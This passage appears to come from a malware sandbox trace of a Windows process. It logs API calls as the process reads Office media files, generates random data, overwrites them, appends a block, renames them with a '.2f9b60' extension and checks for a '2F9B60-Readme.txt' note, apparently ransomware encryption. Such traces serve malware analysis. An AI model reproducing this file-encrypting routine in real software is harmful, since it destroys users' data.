returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3" [0102.314] wcscat (in: _Dest=0x4205ce70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3.2f9b60" [0102.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3.2f9b60", NtPathName=0x1dd2fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c660 [0106.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c660) returned 1 [0106.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b0f0) returned 1 [0106.094] NtQueryInformationFile (in: FileHandle=0x15a8, IoStatusBlock=0x1dd2fc18, FileInformation=0x1dd2fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1dd2fc18, FileInformation=0x1dd2fc28) returned 0x0 [0106.094] NtSetInformationFile (FileHandle=0x15a8, IoStatusBlock=0x1dd2fc18, FileInformation=0x1dd2fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0107.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0107.105] FlushFileBuffers (hFile=0x15a8) returned 1 [0107.415] CloseHandle (hObject=0x15a8) returned 1 [0107.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a40b0 [0107.417] wcscpy (in: _Dest=0x202a40b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.417] wcscat (in: _Dest=0x202a40b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a40b0) returned 1 [0107.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e070) returned 1 Thread: id = 748 os_tid = 0x1294 [0098.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf")) returned 0x20 [0099.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF", dwFileAttributes=0x20) returned 1 [0099.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a4 [0099.680] GetFileSizeEx (in: hFile=0x15a4, lpFileSize=0x1e05fac0 | out: lpFileSize=0x1e05fac0*=8296) returned 1 [0099.680] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.680] ReadFile (in: hFile=0x15a4, lpBuffer=0x1e05fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e05fa88, lpOverlapped=0x0 | out: lpBuffer=0x1e05fa40*, lpNumberOfBytesRead=0x1e05fa88*=0x4, lpOverlapped=0x0) returned 1 [0099.860] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627b0 [0099.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0099.860] NtQuerySystemTime (in: CurrentTime=0x1e05f980 | out: CurrentTime=0x1e05f980*=132462177053854000) returned 0x0 [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x413663d1 [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x4ad43ab9 [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x6363d42 [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x63879b2f [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x5352e94b [0099.860] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x18cabc61 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x9b385fc [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x3a4d78cf [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x7f548494 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x5c118556 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x266b3893 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x2a4414a9 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x61e0741b [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x60fd5aa4 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0xd4b289e [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x47b7c3b3 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x71cec6b8 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x422086c9 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x4336273a [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x2093f454 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x273959a3 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x5ca58b93 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x242b9872 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x74ef47ba [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x60b6482 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x6d7da7b8 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x1f548130 [0099.861] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x448cbe08 [0099.862] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x47f250ee [0099.862] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x507742d6 [0099.862] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x57ad186f [0099.862] RtlRandomEx (in: Seed=0x1e05f970 | out: Seed=0x1e05f970) returned 0x796b281 [0100.756] ReadFile (in: hFile=0x15a4, lpBuffer=0x1ce9d250, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x1e05f970, lpOverlapped=0x0 | out: lpBuffer=0x1ce9d250*, lpNumberOfBytesRead=0x1e05f970*=0x2068, lpOverlapped=0x0) returned 1 [0101.611] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.611] WriteFile (in: hFile=0x15a4, lpBuffer=0x201d78d0*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x1e05f974, lpOverlapped=0x0 | out: lpBuffer=0x201d78d0*, lpNumberOfBytesWritten=0x1e05f974*=0x2068, lpOverlapped=0x0) returned 1 [0101.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0101.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0101.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0101.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d78d0) returned 1 [0101.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce9d250) returned 1 [0101.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0101.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0101.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260da0 [0101.971] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.971] WriteFile (in: hFile=0x15a4, lpBuffer=0x4205a410*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e05fa90, lpOverlapped=0x0 | out: lpBuffer=0x4205a410*, lpNumberOfBytesWritten=0x1e05fa90*=0x10a, lpOverlapped=0x0) returned 1 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0102.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0102.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0102.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627e0) returned 1 [0102.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.347] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="62") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="c9") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="fa") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="3c") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="62") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="d0") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="4b") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="a9") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="5a") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="41") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="9a") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="f9") returned 2 [0102.347] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="c9") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="17") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="5d") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="6f") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="c2") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="30") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="a5") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="53") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="20") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="56") returned 2 [0102.348] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="d5") returned 2 [0102.348] RtlInitAnsiString (in: DestinationString=0x1e05fb08, SourceString="bb62c9fa3c62d04ba95a419af9c9175d6fc230a5532056d5" | out: DestinationString="bb62c9fa3c62d04ba95a419af9c9175d6fc230a5532056d5") [0102.348] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e05fad8, SourceString="bb62c9fa3c62d04ba95a419af9c9175d6fc230a5532056d5", AllocateDestinationString=1 | out: DestinationString="bb62c9fa3c62d04ba95a419af9c9175d6fc230a5532056d5") returned 0x0 [0102.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5630 [0102.348] wcscat (in: _Dest=0x4205d2d0, _Source="bb62c9fa3c62" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62" [0102.348] wcscat (in: _Dest=0x4205d2d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62.2f9b60" [0102.348] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62.2f9b60", NtPathName=0x1e05fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\bb62c9fa3c62.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cb30 [0105.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cb30) returned 1 [0105.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060740) returned 1 [0105.925] NtQueryInformationFile (in: FileHandle=0x15a4, IoStatusBlock=0x1e05fb18, FileInformation=0x1e05fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e05fb18, FileInformation=0x1e05fb28) returned 0x0 [0105.925] NtSetInformationFile (FileHandle=0x15a4, IoStatusBlock=0x1e05fb18, FileInformation=0x1e05fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d2d0) returned 1 [0105.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5630) returned 1 [0105.952] FlushFileBuffers (hFile=0x15a4) returned 1 [0105.956] CloseHandle (hObject=0x15a4) returned 1 [0105.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4e30 [0105.967] wcscpy (in: _Dest=0x202a4e30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.967] wcscat (in: _Dest=0x202a4e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4e30) returned 1 [0107.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e100) returned 1 Thread: id = 749 os_tid = 0x1298 [0098.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf")) returned 0x20 [0099.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF", dwFileAttributes=0x20) returned 1 [0099.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a0 [0099.677] GetFileSizeEx (in: hFile=0x15a0, lpFileSize=0x1e98fc00 | out: lpFileSize=0x1e98fc00*=7572) returned 1 [0099.677] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x1d90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.678] ReadFile (in: hFile=0x15a0, lpBuffer=0x1e98fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e98fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1e98fb80*, lpNumberOfBytesRead=0x1e98fbc8*=0x4, lpOverlapped=0x0) returned 1 [0100.315] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0100.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263620 [0100.316] NtQuerySystemTime (in: CurrentTime=0x1e98fac0 | out: CurrentTime=0x1e98fac0*=132462177058378000) returned 0x0 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x18a8e61c [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x5f2fc4be [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x43bfa1e0 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x6cd63f65 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x7a10cda1 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x76319ca [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x379a2ce5 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x7097611f [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x3bfc9a6e [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x6d61936e [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x130c3ad0 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x4fb0c65c [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x46fa18f1 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x26008570 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x5f634445 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x6ad18a60 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x739a9e9f [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x33653ee3 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x6ef223e7 [0100.316] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x3bdbdd5 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x5f20d885 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x37b49541 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x39a26c41 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x1f27ab37 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x63e29f3a [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x60685449 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x1b7a736c [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x33d665bb [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x417b94ca [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x75e9ddb2 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x28e25b38 [0100.317] RtlRandomEx (in: Seed=0x1e98fab0 | out: Seed=0x1e98fab0) returned 0x155b2b86 [0100.819] ReadFile (in: hFile=0x15a0, lpBuffer=0x41c900b0, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x1e98fab0, lpOverlapped=0x0 | out: lpBuffer=0x41c900b0*, lpNumberOfBytesRead=0x1e98fab0*=0x1d94, lpOverlapped=0x0) returned 1 [0101.607] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.607] WriteFile (in: hFile=0x15a0, lpBuffer=0x41c93cc0*, nNumberOfBytesToWrite=0x1d94, lpNumberOfBytesWritten=0x1e98fab4, lpOverlapped=0x0 | out: lpBuffer=0x41c93cc0*, lpNumberOfBytesWritten=0x1e98fab4*=0x1d94, lpOverlapped=0x0) returned 1 [0101.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0101.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260950 [0101.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260950) returned 1 [0101.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c93cc0) returned 1 [0101.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c900b0) returned 1 [0101.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0101.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0101.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260950 [0101.961] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.961] WriteFile (in: hFile=0x15a0, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e98fbd0, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x1e98fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0102.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0102.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0102.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0102.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0102.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634a0) returned 1 [0102.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.335] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="b9") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="ca") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="ef") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="b1") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="ff") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="85") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="9a") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="c3") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="03") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="aa") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="b9") returned 2 [0102.335] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="77") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="20") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="a5") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="1b") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="03") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="52") returned 2 [0102.336] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="5d") returned 